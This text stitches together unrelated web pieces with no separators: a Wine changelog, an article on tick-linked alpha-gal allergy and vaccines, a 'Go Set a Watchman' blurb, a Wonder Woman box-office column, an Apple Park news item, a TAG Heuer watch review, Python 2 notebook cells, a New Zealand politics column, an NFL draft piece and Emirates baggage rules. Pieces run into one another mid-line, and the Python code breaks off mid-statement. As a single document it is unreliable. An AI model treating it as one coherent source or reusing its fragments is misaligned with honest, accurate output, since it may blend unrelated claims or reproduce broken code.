Remove unused functions (Clang). Austin English (4): cryptext.dll: Add a stub dll. opengl32: Load dll below 2GB address space. cryptext: Add stubs for CryptExtAddPFX/CryptExtAddPFXW. ole2disp: Add a stub for VARIANTCHANGETYPE. Bruno Jesus (4): include: Add SO_BSP_STATE definition. dinput: Fix device type dump. dbghelp: Remove a dead assignment (Cppcheck). user32/tests: Ensure ShowWindow returns false when window is already hidden. Caron Wills (1): wined3d: Add NVIDIA GeForce GTX 970 to supported device list. Detlef Riekenberg (1): scrrun/tests: Ignore case in path names. Drew Ronneberg (2): user32/tests: Add tests for calling ShowWindow(SW_HIDE) on a hidden window. user32: Do not call SendMessage() to hide a window that is already hidden. François Gouget (1): ddraw/tests: Fix compilation on systems that don't support nameless unions. Guillaume Charifi (1): riched20: Do not destroy IRichEditOle if still referenced. Hans Leidekker (6): ieframe: Send command state change notifications from history navigation handlers. msi: Update version resource. msiexec: Add support for /update. vssapi: New dll. vssapi: Add stub implementations for a couple of functions. user32: Add a stub implementation of IsTouchWindow. Henri Verbeet (5): d3d9: Remove some incorrect constants from d3d9types.h. d2d1: Implement d2d_solid_color_brush_GetOpacity(). wined3d: Explicitly convert the condition to bool shader_glsl_if(). wined3d: Recognize the SM4 uge opcode. d3d10core/tests: Port alpha_test() to d3d10core. Jacek Caban (24): mshtml: Added IHTMLStyleSheet::cssText property partial implementation. mshtml: Added IHTMLStyleSheet::cssText tests. mshtml: Added support for IHTMLFrameBase::put_src call on detached element. mshtml: Added IHTMLFrameBase::get_src implementation. mshtml: Added IHTMLDOMTextNode2 stub interface. mshtml: Added HTMLFrameBase2::allowTransparency semi-stub implementation. mshtml: Added missing nsIHttpChannelInternal functions. mshtml: Added nsIURI::GetPrePath implementation. mshtml: Merge htmlelem3.c into htmlelem.c. mshtml: Don't try to null terminate post data if it's not available. mshtml: Added IHTMLTextNode2::appendData implementation. mshtml: Improved IDM_RESPECTVISIBILITY_INDESIGN stub. mshtml: Added IHTMLDocument2::execCommand implementation. mshtml: Added IHTMLTxtRange::setEndPoint implementation. mshtml/tests: Fixed some test failures. mshtml: Added fontname command support to execCommand. mshtml: Always ignore DISPATCH_PROPERTYPUTREF in InvokeEx. jscript: Use DISPATCH_PROPERTYPUTREF flag when setting a property to VT_DISPATCH. mshtml: Allow setting function properties to any VARIANT type. mshtml: Better removeAttribute implementation. mshtml: Correctly handle flags in IHTMLElement:setAttribute. mshtml: Correctly handle flags in IHTMLElement:getAttribute. mshtml: style attribute is a special case for setAttribute and removeAttribute. mshtml: Added more attribute and IDispatchEx tests. Jactry Zeng (1): explorer: Remove unnecessary backslash when parsing /select and /root. Michael Stefaniuc (15): mscms/tests: Simplify the check for an empty string (PVS-Studio). advpack: Simplify the check for an empty string (PVS-Studio). mciseq: Simplify the check for an empty string. comdlg32: Simplify check for an empty string (PVS-Studio). winemapi: Simplify check for an empty string (PVS-Studio). regedit: Simplify check for an empty string (PVS-Studio). shell32/tests: Fix a copy and paste error (PVS-Studio). msi/tests: Remove redundant if check (PVS-Studio). shlwapi: Remove always true if-check (PVS-Studio). comdlg32: Remove an always true if check (PVS-Studio). cmd: Remove duplicated if-check (PVS-Studio). comdlg32: RT_DIALOG is already an INTRESOURCE (PVS-Studio). ieframe: IDC_ARROW is already an INTRESOURCE (PVS-Studio). msvcrt/tests: Don't open code offsetof(). gdi32/tests: Don't clear a variable before it goes out of scope (PVS-Studio). Nikolay Sivov (24): dwrite: Implement compatible reference key for local files and remaining loader methods. dwrite: Reuse local file stream instances. dwrite: Remove null pointer checks that can't fail. dwrite: Implement GetLastWriteTime() for local stream. dwrite/tests: Some tests for ReadFileFragment(). ole32/tests: Release() doesn't return HRESULT code. ole32/tests: Use proper wrappers for IObjContext methods. dwrite: Handle Unicode platform when looking for name record codepage. dwrite: Implement SetCurrentTransform() for bitmap render target. include: Added SHAssocEnumHandlers() and related interfaces definition. dwrite: Load freetype on module attach, create one FT_Face per fontface. dwrite: Forward more font methods to fontface. dwrite: Update to IDWriteBitmapRenderTarget1. dwrite: Use usWin* values from OS/2 table as font ascent/descent. gdi32: Remove undefs for names that are never defined. dwrite: Use file mapping for local file stream. gdi32: Clarify read length values used with get_font_data(). dwrite: Use stream fragment context when reading font tables. dwrite: Remove DLL_WINE_PREATTACH case, native module can't be used. dwrite: Hide factory vtable selection in init helper. dwrite/tests: Fix some test failures on older dwrite versions. dwrite: Estimate x-height and cap height metrics if they're missing. dwrite: Respect typographic metrics when font instructs us to. dwrite: Fix lineGap metric using 'hhea' table values. Piotr Caban (3): ntdll: Handle ACTCTX_FLAG_ASSEMBLY_DIRECTORY_VALID flag when opening manifest in RtlCreateActivationContext. ws2_32: Add support for overlapping fd_sets in select. ws2_32/tests: Add more select tests. Qian Hong (1): comdlg32/tests: Fixed memory leak (Valgrind). Ralf Habacker (1): comdlg32: Update dmFormName when changing paper size in print UI. Sebastian Lackner (29): server: Close fd if there is no space in thread inflight fd list. comctl32: Fix invalid usage of CompareString in StrStr functions. shlwapi: Fix invalid usage of CompareString in StrStr functions. server: Avoid leaking file descriptors if create_console_input fails. server: Avoid leaking file descriptor on error in create_file_for_fd. server: Avoid leaking file descriptor on error in create_thread function. user32/tests: Remove unnecessary char array and add additional test in test_FindWindowEx. user32/tests: Add tests for internal window messages of FindWindowEx. user32/tests: Reenable test function for WM_GETTEXT. user32/tests: Add single-threaded tests for WM_[GET|SET]TEXT and [Get|Set]WindowText. user32/tests: Add multi-threaded tests for [Get|Set]WindowText. user32: Avoid sending window messages in FindWindowExW. comctl32: Fix incorrect usage of CompareString in SYSLINK_ParseText. shlwapi: Fix invalid usage of CompareString in PathCreateFromUrlW. comctl32: Fix invalid usage of CompareString in StrRStr functions. server: Avoid reallocating region data when there is still enough space. shlwapi: Fix incorrect usage of CompareString in StrRStrIA. shlwapi: Fix incorrect usage of CompareString in StrRStrIW. comctl32: Allow broken behaviour in StrRStr functions. reg.exe: Fix incorrect usage of CompareString in get_rootkey. regedit: Fix incorrect usage of CompareString in parseKeyName. server: Avoid calling close on negative value in create_console_output handler (Coverity). server: Always remove inflight fd if alloc_console fails. server: Fix several fd leaks on error in new_process wineserver call. ws2_32/tests: Wait for thread termination before cleaning up winsock. ole32/tests: Add tests for CoWaitForMultipleHandles. ole32: Verify arguments for CoWaitForMultipleHandles, always initialize index to zero. ole32: Don't process window events when APC calls are queued. configure: Fix detection of gnutls on Ubuntu 14.10. Stefan Dösinger (28): wined3d: Minimize device windows on focus loss. d3d9/tests: Test messages on focus loss. d3d9/tests: Test style changes on focus loss. d3d8/tests: Test messages on focus loss. d3d8/tests: Test style changes on focus loss. ddraw/tests: Test messages on focus loss. ddraw/tests: Test focus loss style changes. d3d9/tests: Test mode restoration on focus loss. d3d8/tests: Test mode restoration on focus loss. ddraw/tests: Test mode changes on focus loss and restore. wined3d: Restore the display mode on focus change. wined3d: Fix mode comparison in wined3d_set_adapter_display_mode. wined3d: Set the device window size on focus window activation. ddraw/tests: Test messages on window reactivation. wined3d: Don't minimize hidden windows. ddraw: Restore the registry display mode. d3d9: Only one fullscreen swapchain is allowed. d3d8: Only one fullscreen swapchain is allowed. d3d8/tests: Fix test_cursor(). d3d9/tests: Fix test_cursor(). d3d8/tests: Call TestCooperativeLevel after Present. wined3d: Vertex fog uses the absolute eye position z. d3d/tests: Show that the vfog abs is not a property of D3DFOG_LINEAR. d3d/tests: Table fog does not abs the fog coordinate. d3d/tests: Rename fog_interpolation_test for consistency. Revert "d3d10_1.idl: Added D3D10_1_SHADER_*_VERSION constants.". includes: Remove some double defines in d3d11.idl. wined3d: Update fragment program constants when switching from arb ffp draws. Stefan Leichter (1): difxapi: Add stubs for SetDifxLogCallbackA/W. Vincent Povirk (1): mscoree: Update Wine Mono to 4.5.4. Yifu Wang (2): msvcp120: Added std::ios_base::operator bool() implementation. msvcp120: Added std::locale::facet::~facet() export. -- Alexandre Julliard julliard@winehq.orgPerhaps the strangest medical phenomenon discovered in recent years is a link between the lone star tick and an allergy to red meat.
The bite of a lone star tick exposes a person to a small carbohydrate called alpha-gal. In a handful of people, this exposure elicits an abnormal immune response that produces a type of antibody called IgE, which causes allergies. Because red meat also contains alpha-gal, people who have been sensitized to the carbohydrate from a tick bite can develop life-threatening anaphylaxis if they consume pork or beef.
Source: S. Wolver et al. J Gen Intern Med. 2013 Feb; 28(2): 322–325.
Now, researchers report in the Journal of Allergy and Clinical Immunology the case of a 68-year-old woman who developed anaphylaxis within minutes of receiving a shingles vaccine in 2014.
The team had encountered this woman previously. Since late 2008, she was known to suffer from red meat allergies and frequent bites from lone star ticks. Tests indicated that she had very high levels of alpha-gal-specific IgE antibodies in her blood. As it so happens, many vaccines potentially contain alpha-gal, since animal products (such as porcine gelatin and calf serum) are commonly used in vaccines. Connecting the dots, the team hypothesized that tick bites were linked to anaphylactic reactions to both red meat and vaccines.
To test their hypothesis, the researchers examined blood samples from four patients with red meat allergies (including that of the 68-year-old woman) to determine if their IgE antibodies reacted to five different vaccines: Shingles, MMR, yellow fever, and two versions of TDaP. Their results suggested that, indeed, alpha-gal is present in MMR and shingles vaccines. Thus, these vaccines could trigger anaphylaxis in patients who have red meat allergies.
The lone star tick is found throughout the eastern United States, most notably in the South. Though incredibly rare, the bizarre medical phenomena that these ticks can trigger in a small, unlucky group of people should be kept in mind by clinicians. For scientists, they serve as an insight into the peculiarities of immunogenetics.
Source: Cosby A. Stone, Jr. et al. "Anaphylaxis after Zoster Vaccine: Implicating Alpha-Gal Allergy as a Possible Mechanism." J Allergy Clin Immunol. Article in press. DOI: http://dx.doi.org/10.1016/j.jaci.2016.10.037WINNER 31,093 votes
From Harper Lee comes a landmark new novel set two decades after her beloved Pulitzer Prize-winning masterpiece, To Kill a Mockingbird. Maycomb, Alabama. Twenty-six-year-old Jean Louise Finch--"Scout"--returns home from New York City to visit her aging father, Atticus. Set against the backdrop of the civil rights tensions and political turmoil that were transforming the So
From Harper Lee comes a landmark new novel set two decades after her beloved Pulitzer Prize-winning masterpiece, To Kill a Mockingbird. Maycomb, Alabama. Twenty-six-year-old Jean Louise Finch--"Scout"--returns home from New York City to visit her aging father, Atticus. Set against the backdrop of the civil rights tensions and political turmoil that were transforming the South, Jean Louise's homecoming turns bittersweet when she learns disturbing truths about her close-knit family, the town and the people dearest to her. Memories from her childhood flood back, and her values and assumptions are thrown into doubt. Featuring many of the iconic characters from To Kill a Mockingbird, Go Set a Watchman perfectly captures a young woman, and a world, in a painful yet necessary transition out of the illusions of the past--a journey that can be guided only by one's conscience. Written in the mid-1950s, Go Set a Watchman imparts a fuller, richer understanding and appreciation of Harper Lee. Here is an unforgettable novel of wisdom, humanity, passion, humor and effortless precision--a profoundly affecting work of art that is both wonderfully evocative of another era and relevant to our own times. It not only confirms the enduring brilliance of To Kill a Mockingbird, but also serves as its essential companion, adding depth, context and new meaning to an American classic.With $400.5 million as of yesterday, Wonder Woman is going to end the day just above the unadjusted domestic total of Walt Disney’s Frozen. That in itself is something of an arbitrary milestone, putting the picture one spot higher on the all-time domestic list and placing it unquestionably at the top of (unadjusted) female-directed films. It also puts the film one notch higher on the list of female-led release, behind the first two Hunger Games movies, Finding Dory, Beauty and the Beast, Rogue One, Jurassic World, Titanic and Star Wars: The Force Awakens. Now you might make the case that The Force Awakens was sold on general Star Wars nostalgia while Jurassic World and Titanic were initially sold via their male co-leads (Chris Pratt and Leonardo DiCaprio as opposed to actual lead characters Bryce Dallas Howard and Kate Winslet). That’s something else Wonder Woman and Frozen share in common. Both films were criticized prior to release for what was perceived as a problematic marketing campaign only to kick righteous ass once they opened in wide domestic release. In both cases, the results should have spoken for themselves.
With Frozen, the criticism came well before release, initially stemming from a teaser poster that put the sidekick snowman character front-and-center as well as an Ice Age-like teaser trailer that focused on Olaf’s comedic mischief. There was indeed initial concern that Walt Disney was going to sell this female-focused fantasy not unlike how they sold Tangled, in a way that downplayed the female lead and made the girl-powered adventure resemble a gender-neutral caper. And considering how said deceptive marketing had helped Tangled get to $200 million domestic/$598m worldwide in 2010, there was reason for concern. What’s odd is that this criticism continued well past the release, even after the first full trailer explicitly stated that the film’s hero and driving force was Kristen Bell’s Anna, and that the primary villain was her sister Elsa. So they didn’t exactly trumpet the film’s original songs and “two princesses” angle, but that would come later in TV spots and trailers closer to the release date. Even if you argue that, rave pre-release reviews notwithstanding, audiences taking their kids over the holiday didn’t know what they were in for, that did wonders for word-of-mouth and buzz.
Even if parents entered the theater over Thanksgiving weekend thinking they were about to see a Walt Disney animated film closer to Home on the Range than The Lion King, they spread the overjoyed word pretty damn quickly. The film snagged $15 million on its wide release opening day for a $93m Wed-Sun debut, but that was just the beginning. The white-hot buzz, powered by the film’s quality and its (arguably) under-advertised moments (the poignant sisterhood thematic, the “Let It Go” sequence, etc.) helped keep the film in play for well over six months. Frozen legged it to $200 million, then $300m, and then $400m on its 155th day of release, while huge business overseas plus a supercharged performance in Japan ($249m) put it way over the $1 billion mark. And yet, four years later, you’ll still occasionally see the argument that Disney’s marketing for Frozen tried to hide its female appeal and musical numbers.
Aside from not being 100% accurate (again, see the above trailers), it was only a secret in the sense that Rey being the real hero of Star Wars: The Force Awakens was a secret. The thrill over said reveal is part of what pushed the film to $937 million domestic from a $247.9m debut weekend. As I’ve always said, if you know you have the goods and you’re sure you can open the movie, it is absolutely in your interest to hide as much of the goodies as possible prior to release. Self-discovery leads to a sense of consumer ownership and better word-of-mouth. It worked with (random examples) Gravity, Skyfall and the first two Hunger Games movies, both of which gave away almost nothing from the second half of each respective film.
Wonder Woman is a different situation. The complaints started five weeks prior to release, from (it should be noted) geek writers/media commentators whom I usually agree with, concerning what they felt was less of a media presence compared to Batman v Superman or Suicide Squad. I wrote at the time that the film’s marketing was on a specific schedule, one that would see more and more content (trailers, TV spots, media appearances, online and print features, etc.) as the release date got closer. That’s how it should be, as most pre-release marketing is preaching to the converted. We got extended TV spots and a new trailers attached to a new episode of Gotham, the MTV Movie and Television Awards and the Kids Choice Awards. We got a huge ad spend in the two weeks before release, to the point where I saw a commercial during nearly every network/cable show I watched during the last two weeks of May. Chris Pine hosted Saturday Night Live, Entertainment Weekly delivered a cover story and the cast and crew did the usual talk show circuit. And WB knew what they had in terms of a crowd-pleasing finished film.
Like Mad Max: Fury Road, WB responded to enthusiastic social media love by letting the full reviews drop a few days earlier than planned (Monday night before release). And in an unexpected surprise, Alamo Draft House’s decision to have women-only screenings of the film ignited a fake national controversy (“Four guys on left mean Twitter responses… what do you think?”) which made the release into a national news story. By the time June 2nd rolled along, they had decent marketing materials, strong reviews and a fluke of a news story that made the film into a cultural event. The film snagged a $103.251 million opening weekend, which was on the high end of realistic expectations. And the word-of-mouth concerning the final cut of the movie did the rest, with a comparatively weak playing field (Baywatch, The Mummy, Transformers: The Last Knight, etc.) and its existence as an event film for underserved demographics keeping it in play until it had become the leggiest “opened on a Friday” $100m+ opener of all time.
This was another case of the movie being better than the advertising. I will admit trepidation over key beats being used over and over again. The Wonder Woman marketing was, in retrospect, a study in both moderation and laser-like discipline and focus. It didn’t sell different tones for different demographics. It didn’t highlight Chris Pine’s Steve Trevor in one spot and the Amazons in another. Almost every poster and TV spot and trailer and related image sold one thing: Gal Gadot’s Wonder Woman is a bad-ass mother***er and you’re going to enjoy watching her kick ass onscreen in this mythic origin story adventure. Since that’s more-or-less what the film delivered, along with at least one classic action sequence, most folks walked away happy.
The reason I wanted to discuss this, aside from merely tooting my own horn, is that both films were examples of big female-led movies being successfully marketed toward a best-case-scenario opening weekend that succeeded without giving away the entire movie and also without necessarily hiding what the movie was about. We are, and have been since around 2008, in this weird contradictory situation where we treat almost everything as would-be spoilers but yet act with near-outrage when a movie (Hancock, Brave, Passengers, etc.) contains material that wasn’t explicitly detailed in the marketing campaign. We can’t have it both ways. We can’t complain about saturation-level marketing that reveals the entire film (Sony’s last three Spider-Man movies) via a non-stop deluge of clips, TV spots and trailers but then also complain when a big movie undersells or hides unspoiled surprises for the sake of building consumer buzz. The concerns about both Wonder Woman and Frozen came from a place of genuine concern and understandable fear about a female-driven movie getting the shaft in the male-dominated industry. But the marketing campaigns and resulting releases played out exactly as intended and as well as could have hoped.
And now here they sit, side by side on the domestic box office, chart, both Frozen and Wonder Woman have now earned just over $400 million in North America. Both female-focused films (about young women with superpowers) faced pre-release criticism for potentially underselling and both benefitted from hiding at least some of the goodies for paying consumers to discover, which (along with poor competition for the first month or so) played into a stupidly leggy domestic run. Sometimes you can wait for a company to screw up before you accuse them of screwing up.
If you like what you're reading, follow @ScottMendelson on Twitter, and "like" The Ticket Booth on Facebook. Also, check out my archives for older work HERE.The Chronicle has learned @tim_cook will be moving his office to Apple Park. https://t.co/cLKasjawEn — Owen Thomas (@owenthomas) February 23, 2017
Apple CEO Tim Cook plans to work out of Apple Park, the official name for Apple's second spaceship-shaped campus, according to information obtained by The Chronicle Cook will presumably move his office from Apple's Infinite Loop campus to Apple Park when it opens for employees in April of 2017. Apple announced its plans to open Apple Park in April in a press statement released this morning.Apple Park will eventually house more than 12,000 employees, who will move to the campus over a period of six months. While Apple Park will open in a little over a month, smaller construction projects and landscaping will continue into the summer.In addition to the main ring-shaped building, Apple Park includes a visitor's center with a full Apple Store and cafe, a fitness center for employees, auxiliary research buildings, underground parking structures, a cafeteria, and a theater named "Steve Jobs Theater" after late Apple CEO Steve Jobs.The entire campus is powered by 100 percent renewable energy and features huge swathes of greenery suitable for the California climate, with more than 9,000 native and drought-resistant trees.First conceived in 2011 by Steve Jobs, Apple Park has been under construction since 2013 and is rumored to have cost Apple upwards of $5 billionWhile the Carrera 1887 has been one of TAG Heuer’s most popular watches since its introduction in 2010, the number of choices in the range has been somewhat constrained (“would Sir prefer a black or white dial?”), largely due to the limited availability of the CH1887. Now that movement production has expanded, we are starting to see more Carreras with the 1887 movement including this one- the TAG Heuer Carrera CH1887 Rose Gold (Ref. CAR2141).
The new Carrera 1887 is available in a choice of two dials- Silver and Anthracite, the latter being the colour that you see here. Anthracite is an interesting colour- a Gunmetal Grey that has both blue and green undertones. Compare the photos above and below and you can appreciate the variety in colours that you get from this dial depending on the light. As we’ll come to later, TAG Heuer seem to have decided that Anthracite is the colour for 2012, with Anthracite dials offered on several 2012 watches.
The Carrera 1887 is one of my favourite watches in the current TAG Heuer range and given that I also have a soft-spot for Rose Gold, I was excited to get my hands on one of the pre- production watches to see how the new version stacked up against its Steel brother.
Case
To start with the obvious, the case of the Carrera is “18k 5N” Rose Gold. Given that 24k Gold is “pure” Gold, “18K 5N” tells you that Rose Gold is an alloy that consists of 75% Gold (18 divided by 24). The “5N” refers to the amount of Copper used in the other 25%- 5N typically means 22.25% Copper and 2.75% Silver. The more Copper, the deeper the Red, so a Red Gold case is typically 18K 6N and consists of 25% Copper and no Silver.
Whatever the Metallurgy, it’s a stunning colour that works beautifully on the elegant Carrera case.
In fact, the Carrera in Steel has become so ubiquitous that it’s easy to overlook what a perfect design the case is, especially those beautifully shaped horns.
The 41mm case, crown, bezel and pushers are all 18K 5N Gold, and each has the same polished finish.
Dial
As mentioned at the start of the article, the colour of the dial is hard to define, but it’s what you might call Slate Grey or Gunmetal Grey. The dial has a starburst finish, which you can clearly see in the photo above.
Consistent with the case, the applied hour indexes and hands are also Rose Gold, with the same colour used for the TAG Heuer logo and Carrera lettering.
The Sub-dials are slightly recessed and finished in a flat Grey colour that provides a little contrast to the finish of the rest of the dial.
Whether you like the colour of the dial is purely a matter of personal taste. I like Anthracite, but whether it works well in combination with Rose Gold is another question.
Movement
The now-familiar TAG Heuer-made CH1887 movement sits inside the CAR2141 Carrera, with the movement gaining a unique Black and Gold rotor. As we’ve mentioned before, the design of the rotor on the Calibre 1887 for all models has changed for 2012 to the design you see below.
The case back has a clear Sapphire window allowing you to see the new rotor in action.
On the Wrist
The Rose Gold 1887 felt pretty much the same as the steel version, although I have to say that I am not a fan of the pin-buckles used on most of TAG Heuer’s Gold watches. I assume that they’re used for cost reasons, as a large, Gold Deployant buckle would be very expensive. Still, it’s hard to “go back” to the old pin buckle once you’re used to using a deployant.
As with all Carrera 1887s, some will find the case quite thick- it doesn’t feel overly heavy, but it’s certainly no lightweight.
Comparison with Steel 1887 Carrera
Putting aside the differences in materials and colour, the only real change from the Steel to the new Rose Gold Carrera 1887 is that the Gold version loses the angled steel frames from the 12 and 6 o’clock sub-dials. I like this finish on the stainless steel model, but the change makes sense to cut down on the bling factor.
If you’re really into details (and you wouldn’t be here if you weren’t), also notice that the 12-hour register at 6 o’clock has hash marks for every hour, while the steel version has markers for every 30 minute interval…at least the designers will be relieved to know that someone noticed!
Price and Availability
The TAG Heuer Carrera Calibre 1887 Rose Gold is due out in the next few weeks, and I understand is already available in some countries. The price in Switzerland is CHF15,000, which is about the premium that you’d expect over the steel model given that Gold content.
The watch is only available on a leather strap, with the price being the same for the Silver dial version.
In Summary
Given the rich heritage of Carreras in Gold (see here, here and here) it’s great to have a Gold option back in the Carrera range. The case itself is truly beautiful, and one very much worth seeing in person to appreciate the richness of the colour. But despite this, I can’t help but think that the Rose Gold and Anthracite combination doesn’t work as well as it should- at least, not for me.
TAG Heuer have long been a fan of Starburst Anthracite dials- for example the Monaco Gulf Calibre 12…
…and the 2012 Carrera Mikrograph. Yes, this one also combines Anthracite and Rose Gold, but in the Mikrograph this is broken up by the large white border on the outside of the dial. Speaking of 2012 and Anthracite…
…you can also get a new Formula 1 in Anthracite with a cool matching Ceramic bezel. Again. I think this colour combination works quite well, so it’s probably not the anthracite colour that I don’t like, as much as it’s the combination of Rose Gold and Anthracite.
Given this, if I was to buy a Rose Gold Carrera 1887, my choice would the Silver dial version (CAR2140) that you see below, which for me looks perfect with the contrasting black strap.
Those who find the Silver/ Rose Gold combination a little too traditional may like the different look of the Anthracite dial, but for me I’ll stick with the colour combination of one of my favourite Carreras the Heuer Carrera 1158S.
***
Want to find out more about the history of the TAG Heuer Carrera? Check out the dedicated Calibre 11 Carrera mini-site to see all ten generations of the Carrera from 1963-2013.
Photo: Heuer Carrera 1158S:II. Functions vs Generators (vs Generator Expressions vs Iterables)¶
In [7]: def function ( x ): return x + 1, x + 2 assert function ( 10 ) == ( 11, 12 ) # example usage answer = function ( 10 ) print 'function(100) -> {} '. format ( answer ) function(100) -> (11, 12)
In [9]: def generator ( x ): yield x + 1 yield x + 2 assert list ( generator ( 10 )) == [ 11, 12 ] # example usage for x in generator ( 10 ): print 'generator(10) -> {} '. format ( x ) generator(10) -> 11 generator(10) -> 12
Generator Expressions¶
In [12]: generator_expression = ( x + 1 for x in [ 1, 2, 4, 8, 16 ]) assert list ( generator_expression ) == [ 2, 3, 5, 9, 17 ]
In [11]: generator_expression = ( x + 1 for x in [ 1, 2, 4, 8, 16 ]) # example usage for x in generator_expression : print 'generator_expression -> {} '. format ( x ) generator_expression -> 2 generator_expression -> 3 generator_expression -> 5 generator_expression -> 9 generator_expression -> 17
In [13]: generator_expression = lambda : ( x + 1 for x in [ 1, 2, 4, 8, 16 ]) assert list ( generator_expression ()) == [ 2, 3, 5, 9, 17 ] # example usage for x in generator_expression (): print 'generator_expression() -> {} '. format ( x ) generator_expression() -> 2 generator_expression() -> 3 generator_expression() -> 5 generator_expression() -> 9 generator_expression() -> 17
In [17]: class Callable ( object ): def __call__ ( self, x ): return x + 1, x + 2 assert Callable ()( 10 ) == ( 11, 12 ) # exampe usage answer = Callable ()( 10 ) print 'Callable(10) -> {} '. format ( answer ) Callable(10) -> (11, 12)
In [20]: class Callable ( object ): @staticmethod def __call__ ( x ): return x + 1, x + 2 assert Callable ()( 10 ) == ( 11, 12 )
In [22]: from collections import Callable def function (): pass assert callable ( function ) # deprecated in Python 3 assert isinstance ( function, Callable )
In [21]: some_list = [ 1, 1, 2, 3, 5 ] for x in some_list : print'some_list -> {} '. format ( x ) some_list -> 1 some_list -> 1 some_list -> 2 some_list -> 3 some_list -> 5
In [29]: class Iterable ( object ): def __init__ ( self, x ): self. x = x self. state = |
pays handsome dividends — his face large on the cover of The Listener last week! Jane Clifton promised to reveal “what Winston’s really up to.” Gearing up for the next election, she thinks. Doh.
The likely composition of the next parliament is a giant red herring that diverts Clifton and her colleagues from the fascinating reality of the present one, in which Key’s National party is two seats short of a majority on legislation not supported by the Maori Party.
One of those seats, Epsom, is occupied by John Banks, now facing a court case which will test the judiciary’s tolerance of “brain fade” as a viable defence. The other is Ohariu, long held by Peter Dunne, who is set to launch the fourth or fifth coming in his long career down the political centre line.
What Winston was really up to when he outed Dunne was doing Clifton’s job for her. The close Twitter contact between Dunne and Dominion-Post reporter Andrea Vance had not gone unnoticed by the gallery. But they seem to have missed a vital clue as to motivation which Peters added to the circumstantial evidence linking the minister and the journalist in his final question to Key in the House on June 4.
— As Prime Minister and chair of the parliamentary Intelligence and Security Committee, does he believe there is a leak in that committee and, if so, who does he believe is that leak — Mr Shearer, Mr Norman, Mr Banks, the Prime Minister himself, or the remaining member of that five-member committee who wrote of the Government Communications Security Bureau on 24 October last year: “I am starting to feel very uncomfortable.”?
Dunne had written that in his blog, while Vance’s pursuit of the Key-Dotcom angle in the GCSB story had been apparent in her articles.
Unwilling to admit that they had been scooped by Peters and distracted by the potential for a romantic interpretation of the Dunne-Vance relationship, political commentators kept their eyes wide shut on the bigger picture.
Bumbling towards the end of yet another embarrassingly ill-informed interview on The Nation, TV3’s Rachel Smalley asked Dunne yesterday if there were any bills “perhaps from the right” that he would not support in the House. Replying that he would be voting on a case-by-case basis, he said:
“I will be looking closely, given recent circumstances, at the GCSB legislation, for instance, in terms of whether it achieves what it sets out to do, or whether it goes too far. “I think there is a conflict that needs to be resolved between the role of our domestic spy agency, the SIS, and the external agency the GCSB, and where they coincide. “And I must say that I am increasingly uncomfortable with the notion that because the GCSB might have better technology, for example, it can do work on behalf of the domestic agency. “I accept that there are cases where that may be appropriate. But I think there needs to be a much clearer delineation and a much clearer statement about where one’s role ends and the other’s begins. Otherwise, I think the situation could remain as blurred as it was in the Dotcom case.”
As “the Dotcom case” continues to haunt Key’s second term and could eventually define it, Dunne’s political future will depend on what he makes of his new role as the sensible person’s reluctant whistleblower. Banished from the Intelligence and Security Committee that is now considering the GCSB amendment bill, Dunne ironically has much greater influence over its content than he did as one of five committee members. The bill’s referral to the committee was opposed by all parties except National, ACT and United Future. Its future back in the chamber now rides on Dunne’s casting vote.
And this is no ordinary bill. It has the prime minister’s name on it. The GCSB is his responsibility. So far, his performance as its minister has been appalling. A spy agency’s worst nightmare is public exposure. Key has not only exposed the previously-obscure agency to public gaze but, with this legislation, has opened it to an unprecedented degree of examination and loss of public confidence.
If the parliamentary press gallery were not so infatuated with the prime minister they would be telling you what a mess he’s making of the one portfolio that you never used to hear anything about.
PM on Twitter: What do you think?
Peter Dunne on YouTube: his party is no longer recognised253 draft picks transformed the NFL in a matter of days. Around the League will examine the aftershocks by asking one post-draft burning question for all 32 teams.
Will Bruce Irvin reward Seattle with sacks?
When the Seattle Seahawks chose defensive end Bruce Irvin with the 15th overall pick, a collective gasp was heard from so-called draft experts nationwide.
The immediate prognosis was uncharitable: Pete Carroll and Co. officially reached on the pick. Sure, Irvin turned heads at West Virginia, but off-the-field issues soiled his allure as a rare pass-rushing talent.
Ignored amid a flurry of melting tweeters and talking heads was the obvious: The Seahawks weren't caught off-guard here. This wasn't a case of general manager John Schneider lounging in the war room, picking a random name out of a hat, with cheerful piñatas dangling from the ceiling. The organization mined Irvin's past and felt a connection to his story. Where draftniks pick him apart, Seattle saw a unique, moldable talent.
"Look, he has had a rough background," Schneider told National Football Post. "He was so desperate. He dropped out of school. He basically was living on the street. But he was able to pick himself up, get his GED, get into a junior college (Mount San Antonio College), then get a scholarship (with the Mountaineers)."
Irvin's past includes a stint in a juvenile jail for burglary and time spent living in a drug house. Schneider believes Irvin showed strength by rising out of those dark corners. The GM maintains Irvin -- whose stock shot up as the draft neared -- was at the top of their board along with safety Mark Barron and linebacker Luke Kuechly.
"Is it a risk?" Schneider said. "Sure it is. But we were as comfortable with it as you can get. Obviously you would like a guy be clean as a whistle, have them all be like (Bears rookie end) Shea McClellin. Sometimes a guy like this comes along and is worth a shot. We felt he was."
Carroll fell in love with Irvin years ago when he attempted to recruit him to USC. Now he has Irvin in house, and it's not a charity case. Irvin brings rare speed and burst. He can flatten down linemen. He was highly productive in two seasons at West Virginia, racking up 22.5 sacks, and we know Rex Ryan and the Jets were in love with the kid -- when the dust settled, most agreed Irvin wasn't getting out of the first round.
Seattle sees him as an every down player in their "Leo" scheme (commonly known as the "elephant" end slot in the wide-nine). If he plays as they expect, Irvin will not be remembered as a reach, but a classic Carroll pick. This team does things their own way.Dangerous Goods are articles or substances that may pose health and safety hazards to passengers or potentially damage the aircraft. They are also referred to as restricted articles, hazardous materials and dangerous cargo.
Transportation of such goods is regulated by the International Civil Aviation Organization (ICAO) and the General Civil Aviation Authority of the United Arab Emirates. Goods falling under the category of Dangerous Goods are not allowed in passenger or crew-checked baggage or cabin baggage, with some exceptions.
View the list of Dangerous Goods to learn what is permitted in luggage, and what you need to declare at the airport.
If you are unsure whether you may travel with dangerous goods, or need approval on certain goods, you should contact your local Emirates office for more information.
Powder
New rules for carry-on bags are coming into effect for those flying from or via Australia and New Zealand or from, via or to the USA. Powders over 350ml will be subject to additional screening from 30 June.
This is in accordance with new security guidelines from the US Transport Security Administration (TSA), the Australian Government’s Department of Home Affairs and the Civil Aviation Authority of New Zealand.
Full information available here.
Drones are not allowed as cabin baggage
For safety reasons, we can’t allow drones on board as cabin baggage. Drones can be accepted as checked-in baggage only. If you have a drone in your checked-in baggage you’ll be asked to either secure the Lithium batteries within the drone or remove the batteries and carry them in your cabin baggage. This regulation still applies even if you’re connecting to our flights from an airline that has accepted drones as cabin baggage.
Items containing explosives are not allowed on board
